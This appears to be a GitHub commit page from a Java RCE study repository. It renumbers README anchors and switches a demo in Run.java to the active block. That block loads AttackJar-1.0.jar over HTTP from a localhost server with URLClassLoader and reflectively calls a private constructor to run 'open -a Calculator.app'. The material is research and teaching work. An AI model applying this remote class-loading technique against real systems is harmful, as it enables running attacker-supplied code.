Skip to content

Commit 8846c5c

Browse files
committed
sync :)
1 parent 1049ec6 commit 8846c5c

File tree

2 files changed

+21
-24
lines changed

2 files changed

+21
-24
lines changed

README.md

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -6,39 +6,39 @@ By. Whoopsunix
66

77
🚀 记录贴 对照实战场景梳理较通用的 Java Rce 相关漏洞的利用方式或知识点
88

9-
🚩 对于实际环境遇到过的组件如有必要会针对可利用版本进行一个梳理 慢更
9+
🚩 对于实际环境遇到过的组件如有必要会针对可利用版本进行一个梳理 慢更
1010

1111
🚧 长期项目 不定期学习后更新......
1212

1313
部分 RceDemo 已经集成在二开 [ysoserial](https://github.com/Whoopsunix/ysoserial) 项目中
1414

1515
## 目录
1616

17-
- [0x01 RceEcho](#0x05-rceecho)
17+
- [0x01 RceEcho](#0x01-rceecho)
1818
- [Tomcat](#tomcatecho)
1919
- [Spring](#springecho)
2020
- [Jetty](#jettyecho)
2121
- [Undertow](#undertowecho)
2222
- [Resin](#resinecho)
2323
- [OS](#osecho)
24-
- [0x02 MemShell](#0x06-memshell)
24+
- [0x02 MemShell](#0x02-memshell)
2525
- [TomcatMemShell](#tomcatmemshell)
26-
- [0x03 命令执行](#0x01-command)
26+
- [0x03 命令执行](#0x03-command)
2727
- [执行Demo,java jsp](#执行demo)
2828
- [执行结果输出(InputStream 处理Demo)](#执行结果输出inputstream-处理demo)
29-
- [0x04 表达式注入](#0x02-expression-inject)
29+
- [0x04 表达式注入](#0x04-expression-inject)
3030
- [OGNL](#ognl)
3131
- [EL](#el)
3232
- [SPEL](#spel)
33-
- [0x05 JDBC Attack](#0x03-jdbc-attack)
33+
- [0x05 JDBC Attack](#0x05-jdbc-attack)
3434
- [Mysql](#mysql)
3535
- [PostgreSQL](#postgresql)
3636
- [H2database](#h2database)
3737
- [IBM DB2](#ibmdb2)
3838
- [ModeShape](#modeshape)
3939
- [Apache Derby](#apache-derby)
4040
- [Sqlite](#sqlite)
41-
- [0x06 Serialization](#0x04-serialization)
41+
- [0x06 Serialization](#0x06-serialization)
4242
- [BCEL](#bcel)
4343
- [远程Jar加载](#remotejar)
4444
- [XMLSerialization](#xmlserialization)

Serialization/AttackJar/src/main/java/org/example/Run.java

Lines changed: 14 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,5 @@
11
package org.example;
22

3-
import java.lang.reflect.Constructor;
4-
import java.net.URL;
5-
import java.net.URLClassLoader;
6-
73
/**
84
* @author Whoopsunix
95
*/
@@ -17,23 +13,24 @@ public static void main(String[] args) throws Exception {
1713
// Class<?> loadedClass = classLoader.loadClass("org.example.Exec");
1814
// Object object = loadedClass.newInstance();
1915

20-
URL url = new URL("http://127.0.0.1:1234/");
21-
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
22-
Class<?> loadedClass = classLoader.loadClass("org.example.Exec");
23-
Object object = loadedClass.getConstructor(null).newInstance(null);
16+
// java.net.URL url = new java.net.URL("http://127.0.0.1:1234/");
17+
// java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
18+
// Class<?> loadedClass = classLoader.loadClass("org.example.Exec");
19+
// Object object = loadedClass.getConstructor(null).newInstance(null);
2420

2521
/**
2622
* 调用构造方法
2723
*/
28-
// URL url = new URL("http://127.0.0.1:1234/AttackJar-1.0.jar");
29-
// URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
30-
// Class<?> loadedClass = classLoader.loadClass("org.example.ExecArg");
31-
// // public
32-
//// Object object = loadedClass.getConstructor(String.class).newInstance("open -a Calculator.app");
33-
// // private
34-
// Constructor constructor = loadedClass.getDeclaredConstructor(String.class);
35-
// constructor.setAccessible(true);
36-
// Object object = constructor.newInstance("open -a Calculator.app");
24+
java.net.URL url = new java.net.URL("http://127.0.0.1:1234/AttackJar-1.0.jar");
25+
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
26+
Class<?> loadedClass = classLoader.loadClass("org.example.ExecArg");
27+
// public
28+
// Object object = loadedClass.getConstructor(String.class).newInstance("open -a Calculator.app");
29+
// private
30+
Class cls = String.class;
31+
java.lang.reflect.Constructor constructor = loadedClass.getDeclaredConstructor(cls);
32+
constructor.setAccessible(true);
33+
Object object = constructor.newInstance("open -a Calculator.app");
3734

3835
/**
3936
* 调用方法

0 commit comments

Comments
 (0)